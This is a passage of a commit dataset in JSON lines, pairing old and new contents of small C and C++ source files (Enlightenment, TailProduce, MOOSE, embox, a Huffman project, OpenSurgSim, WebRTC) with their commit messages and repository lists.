https:\/\/codereview.chromium.org\/363983004\n","lang":"C","license":"bsd-3-clause","repos":"shahrzadmn\/skia,YUPlayGodDev\/platform_external_skia,HalCanary\/skia-hc,AOSPB\/external_skia,todotodoo\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,Igalia\/skia,nfxosp\/platform_external_skia,noselhq\/skia,UBERMALLOW\/external_skia,MarshedOut\/android_external_skia,timduru\/platform-external-skia,TeamExodus\/external_skia,todotodoo\/skia,shahrzadmn\/skia,DARKPOP\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Fusion-Rom\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,MyAOSP\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,nfxosp\/platform_external_skia,Igalia\/skia,android-ia\/platform_external_chromium_org_third_party_skia,BrokenROM\/external_skia,MIPS\/external-chromium_org-third_party-skia,jtg-gg\/skia,mydongistiny\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,Jichao\/skia,amyvmiwei\/skia,nfxosp\/platform_external_skia,nvoron23\/skia,geekboxzone\/mmallow_external_skia,MIPS\/external-chromium_org-third_party-skia,Infinitive-OS\/platform_external_skia,AOSP-YU\/platform_external_skia,amyvmiwei\/skia,DARKPOP\/external_chromium_org_third_party_skia,pcwalton\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,OneRom\/external_skia,timduru\/platform-external-skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamExodus\/external_skia,Jichao\/skia,VRToxin-AOSP\/android_external_skia,scroggo\/skia,MyAOSP\/external_chromium_org_third_party_skia,nvoron23\/skia,jtg-gg\/skia,jtg-gg\/skia,boulzordev\/android_external_skia,HalCanary\/skia-hc,VRToxin-AOSP\/android_external_skia,w3nd1go\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,chenlian2015\/skia_from_google,AOSPB\/external_skia,google\/skia,invisiblek\/android_external_skia,geekboxzone\/mmallow_external_skia,ench0\/external_chromium_org_third_party_skia,shahrzadmn\/skia,shahrzadmn\/skia,AOSPB\/external_skia,Hikari-no-Tenshi\/android_external_skia,vanish87\/skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,amyvmiwei\/skia,todotodoo\/skia,DiamondLovesYou\/skia-sys,MyAOSP\/external_chromium_org_third_party_skia,MyAOSP\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,FusionSP\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,TeamExodus\/external_skia,invisiblek\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,jtg-gg\/skia,UBERMALLOW\/external_skia,chenlian2015\/skia_from_google,ench0\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,google\/skia,google\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,Jichao\/skia,OneRom\/external_skia,aosp-mirror\/platform_external_skia,spezi77\/android_external_skia,boulzordev\/android_external_skia,Igalia\/skia,OneRom\/external_skia,FusionSP\/external_chromium_org_third_party_skia,ominux\/skia,w3nd1go\/android_external_skia,amyvmiwei\/skia,samuelig\/skia,TeamTwisted\/external_skia,DiamondLovesYou\/skia-sys,samuelig\/skia,rubenvb\/skia,todotodoo\/skia,BrokenROM\/external_skia,MIPS\/external-chromium_org-third_party-skia,tmpvar\/skia.cc,noselhq\/skia,todotodoo\/skia,timduru\/platform-external-skia,TeamExodus\/external_skia,noselhq\/skia,DiamondLovesYou\/skia-sys,todotodoo\/skia,AOSPB\/external_skia,AOSP-YU\/platform_external_skia,spezi77\/android_external_skia,samuelig\/skia,chenlian2015\/skia_from_google,invisiblek\/android_external_skia,boulzordev\/android_external_skia,samuelig\/skia,w3nd1go\/android_external_skia,TeamExodus\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,ench0\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,AOSPB\/external_skia,UBERMALLOW\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,TeamTwisted\/external_skia,w3nd1go\/android_external_skia,pcwalton\/skia,ominux\/skia,scroggo\/skia,scroggo\/skia,VRToxin-AOSP\/android_external_skia,nvoron23\/skia,MIPS\/external-chromium_org-third_party-skia,YUPlayGodDev\/platform_external_skia,vanish87\/skia,UBERMALLOW\/external_skia,nfxosp\/platform_external_skia,vanish87\/skia,timduru\/platform-external-skia,boulzordev\/android_external_skia,MonkeyZZZZ\/platform_external_skia,chenlian2015\/skia_from_google,MonkeyZZZZ\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,rubenvb\/skia,google\/skia,Omegaphora\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,vanish87\/skia,mydongistiny\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,rubenvb\/skia,FusionSP\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Jichao\/skia,rubenvb\/skia,samuelig\/skia,scroggo\/skia,xin3liang\/platform_external_chromium_org_third_party_skia,pcwalton\/skia,aosp-mirror\/platform_external_skia,pcwalton\/skia,vanish87\/skia,tmpvar\/skia.cc,Omegaphora\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,nfxosp\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,invisiblek\/android_external_skia,TeamExodus\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,todotodoo\/skia,Infinitive-OS\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,ominux\/skia,OneRom\/external_skia,TeamExodus\/external_skia,YUPlayGodDev\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,qrealka\/skia-hc,geekboxzone\/lollipop_external_chromium_org_third_party_skia,google\/skia,MinimalOS\/external_chromium_org_third_party_skia,MinimalOS\/android_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,rubenvb\/skia,MyAOSP\/external_chromium_org_third_party_skia,Jichao\/skia,nvoron23\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,jtg-gg\/skia,noselhq\/skia,UBERMALLOW\/external_skia,Infinitive-OS\/platform_external_skia,todotodoo\/skia,w3nd1go\/android_external_skia,MarshedOut\/android_external_skia,geekboxzone\/mmallow_external_skia,samuelig\/skia,OptiPop\/external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,boulzordev\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,MarshedOut\/android_external_skia,MarshedOut\/android_external_skia,aosp-mirror\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,boulzordev\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,nvoron23\/skia,UBERMALLOW\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,shahrzadmn\/skia,chenlian2015\/skia_from_google,OneRom\/external_skia,AOSPB\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,pcwalton\/skia,chenlian2015\/skia_from_google,spezi77\/android_external_skia,BrokenROM\/external_skia,vanish87\/skia,tmpvar\/skia.cc,VRToxin-AOSP\/android_external_skia,MonkeyZZZZ\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,invisiblek\/android_external_skia,Igalia\/skia,OneRom\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,google\/skia,shahrzadmn\/skia,noselhq\/skia,HalCanary\/skia-hc,noselhq\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,amyvmiwei\/skia,DARKPOP\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,pcwalton\/skia,OneRom\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,ominux\/skia,AOSP-YU\/platform_external_skia,invisiblek\/android_external_skia,VRToxin-AOSP\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,DiamondLovesYou\/skia-sys,AOSPB\/external_skia,Jichao\/skia,OneRom\/external_skia,scroggo\/skia,nvoron23\/skia,google\/skia,Igalia\/skia,pcwalton\/skia,BrokenROM\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,TeamTwisted\/external_skia,jtg-gg\/skia,spezi77\/android_external_skia,vanish87\/skia,MyAOSP\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,AOSP-YU\/platform_external_skia,qrealka\/skia-hc,HalCanary\/skia-hc,OptiPop\/external_chromium_org_third_party_skia,shahrzadmn\/skia,jtg-gg\/skia,MyAOSP\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,Infinitive-OS\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,UBERMALLOW\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,OneRom\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,google\/skia,vanish87\/skia,geekboxzone\/mmallow_external_skia,timduru\/platform-external-skia,BrokenROM\/external_skia,TeamTwisted\/external_skia,timduru\/platform-external-skia,Jichao\/skia,Infinitive-OS\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,noselhq\/skia,rubenvb\/skia,AOSPB\/external_skia,YUPlayGodDev\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,TeamTwisted\/external_skia,MonkeyZZZZ\/platform_external_skia,aosp-mirror\/platform_external_skia,TeamExodus\/external_skia,aosp-mirror\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,ominux\/skia,ominux\/skia,amyvmiwei\/skia,YUPlayGodDev\/platform_external_skia,chenlian2015\/skia_from_google,DiamondLovesYou\/skia-sys,AOSP-YU\/platform_external_skia,pcwalton\/skia,AOSP-YU\/platform_external_skia,AOSP-YU\/platform_external_skia,TeamTwisted\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Jichao\/skia,rubenvb\/skia,nfxosp\/platform_external_skia,HalCanary\/skia-hc,qrealka\/skia-hc,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Igalia\/skia,MIPS\/external-chromium_org-third_party-skia,geekboxzone\/mmallow_external_skia,tmpvar\/skia.cc,MinimalOS-AOSP\/platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,DiamondLovesYou\/skia-sys,noselhq\/skia,TeamEOS\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,Igalia\/skia,Infinitive-OS\/platform_external_skia,todotodoo\/skia,MIPS\/external-chromium_org-third_party-skia,MinimalOS-AOSP\/platform_external_skia,rubenvb\/skia,scroggo\/skia,amyvmiwei\/skia,qrealka\/skia-hc,tmpvar\/skia.cc,OptiPop\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,shahrzadmn\/skia,MIPS\/external-chromium_org-third_party-skia,tmpvar\/skia.cc,aosp-mirror\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,BrokenROM\/external_skia,FusionSP\/external_chromium_org_third_party_skia,qrealka\/skia-hc,DARKPOP\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,boulzordev\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,invisiblek\/android_external_skia,spezi77\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,qrealka\/skia-hc,tmpvar\/skia.cc,samuelig\/skia,w3nd1go\/android_external_skia,Jichao\/skia,UBERMALLOW\/external_skia,AOSP-YU\/platform_external_skia,TeamTwisted\/external_skia,boulzordev\/android_external_skia,qrealka\/skia-hc,MonkeyZZZZ\/platform_external_skia,PAC-ROM\/android_external_skia,HalCanary\/skia-hc,nvoron23\/skia,geekboxzone\/mmallow_external_skia,google\/skia,FusionSP\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,nvoron23\/skia,MinimalOS-AOSP\/platform_external_skia,PAC-ROM\/android_external_skia,amyvmiwei\/skia,MyAOSP\/external_chromium_org_third_party_skia,Igalia\/skia,OptiPop\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,boulzordev\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,ominux\/skia,nvoron23\/skia,MonkeyZZZZ\/platform_external_skia,HalCanary\/skia-hc,timduru\/platform-external-skia,YUPlayGodDev\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,pcwalton\/skia,MinimalOS-AOSP\/platform_external_skia,BrokenROM\/external_skia,PAC-ROM\/android_external_skia,MarshedOut\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,tmpvar\/skia.cc,ominux\/skia,rubenvb\/skia,qrealka\/skia-hc,google\/skia,ominux\/skia,AOSPB\/external_skia,MinimalOS\/external_chromium_org_third_party_skia,noselhq\/skia,geekboxzone\/mmallow_external_skia,HalCanary\/skia-hc,Fusion-Rom\/external_chromium_org_third_party_skia,shahrzadmn\/skia,PAC-ROM\/android_external_skia,PAC-ROM\/android_external_skia,invisiblek\/android_external_skia,scroggo\/skia,TeamEOS\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,PAC-ROM\/android_external_skia,vanish87\/skia,VRToxin-AOSP\/android_external_skia,Infinitive-OS\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,scroggo\/skia,MarshedOut\/android_external_skia,HalCanary\/skia-hc,android-ia\/platform_external_chromium_org_third_party_skia,spezi77\/android_external_skia,TeamTwisted\/external_skia,FusionSP\/external_chromium_org_third_party_skia,samuelig\/skia"}
{"commit":"6cf9624275da920d283635c43cb39de0bd7b4350","old_file":"src\/modules\/conf_randr\/e_smart_randr.h","new_file":"src\/modules\/conf_randr\/e_smart_randr.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_RANDR_H\n#  define E_SMART_RANDR_H\n\nEvas_Object *e_smart_randr_add(Evas *evas);\nvoid e_smart_randr_monitors_create(Evas_Object *obj);\n\n# endif\n#endif\n","subject":"Add header function for monitors_create.","message":"Add header function for monitors_create.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84126\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment"}
{"commit":"ca1fdf4a443216bed013dc17a0c79d7fd9f1d149","old_file":"week2\/task.c","new_file":"week2\/task.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nint main() {\n  int fd1, fd2;\n  fd1 = open(\"f1\", O_RDWR);\n  fd2 = open(\"f1\", O_RDWR);\n\n  lseek(fd1, -5, SEEK_END);\n  lseek(fd2, 4, SEEK_SET);\n\n  write(fd1, \"xyzw\", 4);\n  write(fd2, \"12\", 2);\n\n  char buff[10];\n  int count;\n  lseek(fd1, 0, SEEK_SET);\n  while (count = read(fd1, buff, 10))\n    write(1, buff, count);\n\n  close(fd1);\n  close(fd2);\n\n  return 0;\n}\n","subject":"Add old file from week2","message":"Add old file from week2","lang":"C","license":"mit","repos":"zdravkoandonov\/sysprog"}
{"commit":"40f76e65693de88f7be915a17c06bd2481820b29","old_file":"src\/streams_registry.h","new_file":"src\/streams_registry.h","old_contents":"#ifndef STREAMSREGISTRY_H\n#define STREAMSREGISTRY_H\n\nnamespace TailProduce {\n\n    class Stream;\n\n    class StreamsRegistry {\n      public:\n        struct StreamsRegistryEntry {\n            \/\/ The pointer to an instance of the stream is owned by TailProduce framework.\n            \/\/ * For static frameworks (streams list is fully available at compile time),\n            \/\/   these pointers point to existing, statically initialized, members\n            \/\/   of the instance of cover TailProduce class.\n            \/\/ * For dynamic frameworks, they point to dynamically allocated instances\n            \/\/   of per-stream implementations, which are also owned by the instance\n            \/\/   of the cover TailProduce class.\n            const Stream* impl;\n            std::string name;\n            std::string entry_type;\n            std::string order_key_type;\n        };\n        std::vector<StreamsRegistryEntry> streams;\n        std::set<std::string> names;\n\n        void Add(TailProduce::Stream* impl,\n                 const std::string& name,\n                 const std::string& entry_type,\n                 const std::string& order_key_type) {\n            if (names.find(name) != names.end()) {\n                LOG(FATAL) << \"Attempted to register the '\" << name << \"' stream more than once.\";\n            }\n            names.insert(name);\n            streams.push_back(StreamsRegistryEntry{impl, name, entry_type, order_key_type});\n        }\n    };\n\n    struct Stream {\n        Stream(StreamsRegistry& registry,\n               const std::string& stream_name,\n               const std::string& entry_type_name,\n               const std::string& order_key_type_name) {\n            registry.Add(this, stream_name, entry_type_name, order_key_type_name);\n        }\n    };\n\n};\n\n#endif\n","new_contents":"#ifndef STREAMSREGISTRY_H\n#define STREAMSREGISTRY_H\n\nnamespace TailProduce {\n\n    class Stream;\n\n    class StreamsRegistry {\n      public:\n        struct StreamsRegistryEntry {\n            \/\/ The pointer to an instance of the stream is owned by TailProduce framework.\n            \/\/ * For static frameworks (streams list is fully available at compile time),\n            \/\/   these pointers point to existing, statically initialized, members\n            \/\/   of the instance of cover TailProduce class.\n            \/\/ * For dynamic frameworks, they point to dynamically allocated instances\n            \/\/   of per-stream implementations, which are also owned by the instance\n            \/\/   of the cover TailProduce class.\n            const Stream* impl;\n            std::string name;\n            std::string entry_type;\n            std::string order_key_type;\n        };\n        std::vector<StreamsRegistryEntry> streams;\n        std::set<std::string> names;\n\n        void Add(TailProduce::Stream* impl,\n                 const std::string& name,\n                 const std::string& entry_type,\n                 const std::string& order_key_type) {\n            if (names.find(name) != names.end()) {\n                LOG(FATAL) << \"Attempted to register the '\" << name << \"' stream more than once.\";\n            }\n            names.insert(name);\n            streams.push_back(StreamsRegistryEntry{impl, name, entry_type, order_key_type});\n        }\n    };\n};\n\n#endif\n","subject":"Remove redundantly declared Stream object","message":"Remove redundantly declared Stream object\n","lang":"C","license":"mit","repos":"Staance\/tailproduce,Staance\/tailproduce"}
{"commit":"83badd5cf2c7acd266977b8698d548d0de02c5c6","old_file":"modules\/electromagnetics\/include\/utils\/ElkEnums.h","new_file":"modules\/electromagnetics\/include\/utils\/ElkEnums.h","old_contents":"#ifndef ELKENUMS_H\n#define ELKENUMS_H\n\n\/** ElkEnums contains various enumerations useful in ELK, such as real\/imag component definitions in\n * Kernels, BCs, etc.\n *\/\n\nnamespace elk\n{\nenum ComponentEnum\n{\n  REAL,\n  IMAGINARY\n};\n} \/\/ namespace elk\n\n#endif \/\/ ELKENUMS_H\n","new_contents":"#pragma once\n\n\/** ElkEnums contains various enumerations useful in ELK, such as real\/imag component definitions in\n * Kernels, BCs, etc.\n *\/\n\nnamespace elk\n{\nenum ComponentEnum\n{\n  REAL,\n  IMAGINARY\n};\n} \/\/ namespace elk\n","subject":"Convert utils to pragma once","message":"Convert utils to pragma once\n\nrefs #21085\n","lang":"C","license":"lgpl-2.1","repos":"idaholab\/moose,milljm\/moose,andrsd\/moose,harterj\/moose,lindsayad\/moose,milljm\/moose,harterj\/moose,laagesen\/moose,laagesen\/moose,idaholab\/moose,idaholab\/moose,lindsayad\/moose,andrsd\/moose,dschwen\/moose,laagesen\/moose,laagesen\/moose,idaholab\/moose,lindsayad\/moose,andrsd\/moose,dschwen\/moose,harterj\/moose,dschwen\/moose,milljm\/moose,sapitts\/moose,dschwen\/moose,andrsd\/moose,sapitts\/moose,laagesen\/moose,sapitts\/moose,lindsayad\/moose,milljm\/moose,andrsd\/moose,dschwen\/moose,milljm\/moose,harterj\/moose,idaholab\/moose,sapitts\/moose,harterj\/moose,lindsayad\/moose,sapitts\/moose"}
{"commit":"1750cd0d3e574fa2c85b9423e58cef5ef1fb1d26","old_file":"src\/tests\/stdlib\/strtod_test.c","new_file":"src\/tests\/stdlib\/strtod_test.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @date 26.02.13\n * @author Alexander Lapshin\n *\/\n\n#include <embox\/test.h>\n#include <stdlib.h>\n\n\nEMBOX_TEST_SUITE(\"standard library\");\n\nTEST_CASE(\"Check strtod function\") {\n    test_assert_equal(0,   (int) atof(\"0.0\"));\n    test_assert_equal(10,  (int) (10 * atof(\"1.0\")));\n    test_assert_equal(-10, (int) (10 * atof(\"-1.0\")));\n    test_assert_equal(11,  (int) (10 * atof(\"1.1\")));\n    test_assert_equal(11,  (int) (100 * atof(\"0.11\")));\n    test_assert_equal(-11, (int) (10 * atof(\"-1.1\")));\n    test_assert_equal(-110,(int) atof(\"-1.1E+2\"));\n    test_assert_equal(-1, (int) (100 * atof(\"-0.1e-1\")));\n    test_assert_equal(10,  (int) atof(\"0.1E2\"));\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @date 26.02.13\n * @author Alexander Lapshin\n *\/\n\n#include <embox\/test.h>\n#include <stdlib.h>\n\n\nEMBOX_TEST_SUITE(\"standard library\");\n\nTEST_CASE(\"Check strtod function\") {\n    test_assert_equal(0,   (int) atof(\"0.0\"));\n    test_assert_equal(10,  (int) (10 * atof(\"1.0\")));\n    test_assert_equal(-10, (int) (10 * atof(\"-1.0\")));\n    test_assert_equal(11,  (int) (10 * atof(\"1.1\")));\n    test_assert_equal(11,  (int) (100 * atof(\"0.11\")));\n    test_assert_equal(-11, (int) (10 * atof(\"-1.1\")));\n    test_assert_equal(-110,(int) atof(\"-1.1E+2\"));\n    test_assert_equal(-1,  (int) (100 * atof(\"-0.1e-1\")));\n    test_assert_equal(10,  (int) atof(\"0.1E2\"));\n}\n","subject":"Add test for strtod function","message":"Add test for strtod function","lang":"C","license":"bsd-2-clause","repos":"Kefir0192\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,mike2390\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,embox\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,abusalimov\/embox,embox\/embox,mike2390\/embox,Kefir0192\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,gzoom13\/embox,mike2390\/embox,Kakadu\/embox,abusalimov\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,embox\/embox,Kefir0192\/embox,embox\/embox,vrxfile\/embox-trik,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,Kefir0192\/embox,abusalimov\/embox"}
{"commit":"8db141ecc09613faa808a8dd6ef15b316d86210a","old_file":"pair.c","new_file":"pair.c","old_contents":"#include \"pair.h\"\n\npair new_pair( const char c, const int freq ) {\n    pair p;\n\n    p.c = c;\n    p.freq = freq;\n\n    return p;\n}\n\nint compare_freq( const void *a, const void *b ) {\n    const pair *ia = ( const pair * ) a;\n    const pair *ib = ( const pair * ) b;\n    return ib->freq - ia->freq;\n}\n","new_contents":"#include \"pair.h\"\n\npair new_pair( const char c, const int freq ) {\n    pair p;\n\n    p.c = c;\n    p.freq = freq;\n\n    return p;\n}\n\nint compare_freq( const void *a, const void *b ) {\n    const pair *ia = ( const pair * ) a;\n    const pair *ib = ( const pair * ) b;\n    return ia->freq - ib->freq;\n}\n","subject":"Fix character frequency map to be sorted in ascending order","message":"Fix character frequency map to be sorted in ascending order\n","lang":"C","license":"mit","repos":"masriamir\/huffman,masriamir\/huffman"}
{"commit":"5acf8d688ec5e75ebf8cdc7f29925b0d21ad90b1","old_file":"SurgSim\/Math\/ParticlesShape-inl.h","new_file":"SurgSim\/Math\/ParticlesShape-inl.h","old_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#ifndef SURGSIM_MATH_PARTICLESSHAPE_INL_H\n#define SURGSIM_MATH_PARTICLESSHAPE_INL_H\n\nnamespace SurgSim\n{\nnamespace Math\n{\n\ntemplate <class V>\nParticlesShape::ParticlesShape(const SurgSim::DataStructures::Vertices<V>& other) :\n\tDataStructures::Vertices<DataStructures::EmptyData>(other)\n{\n\tupdate();\n}\n\ntemplate <class V>\nParticlesShape& ParticlesShape::operator=(const SurgSim::DataStructures::Vertices<V>& other)\n{\n\tDataStructures::Vertices<DataStructures::EmptyData>::operator=(other);\n\tupdate();\n\treturn *this;\n}\n\n\n}; \/\/ namespace Math\n}; \/\/ namespace SurgSim\n\n#endif\n","new_contents":"\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013-2016, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n#ifndef SURGSIM_MATH_PARTICLESSHAPE_INL_H\n#define SURGSIM_MATH_PARTICLESSHAPE_INL_H\n\nnamespace SurgSim\n{\nnamespace Math\n{\n\ntemplate <class V>\nParticlesShape::ParticlesShape(const SurgSim::DataStructures::Vertices<V>& other) :\n\tDataStructures::Vertices<DataStructures::EmptyData>(other),\n\tm_radius(0.0)\n{\n\tupdate();\n}\n\ntemplate <class V>\nParticlesShape& ParticlesShape::operator=(const SurgSim::DataStructures::Vertices<V>& other)\n{\n\tDataStructures::Vertices<DataStructures::EmptyData>::operator=(other);\n\tupdate();\n\treturn *this;\n}\n\n\n}; \/\/ namespace Math\n}; \/\/ namespace SurgSim\n\n#endif\n","subject":"Fix uninitialed member variable in ParticlesShape","message":"Fix uninitialed member variable in ParticlesShape\n\nThe radius was uninitialized when using the ParticlesShape copy\nconstructor that takes another Vertices type.\n","lang":"C","license":"apache-2.0","repos":"simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim,simquest\/opensurgsim"}
{"commit":"d660bde85ad87e3309082e9031b77e9e16b5752d","old_file":"base\/checks.h","new_file":"base\/checks.h","old_contents":"\/*\n *  Copyright 2006 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n\/\/ This module contains some basic debugging facilities.\n\/\/ Originally comes from shared\/commandlineflags\/checks.h\n\n#ifndef WEBRTC_BASE_CHECKS_H_\n#define WEBRTC_BASE_CHECKS_H_\n\nnamespace rtc {\n\n\/\/ Prints an error message to stderr and aborts execution.\nvoid Fatal(const char* file, int line, const char* format, ...);\n\n}  \/\/ namespace rtc\n\n\/\/ The UNREACHABLE macro is very useful during development.\n#define 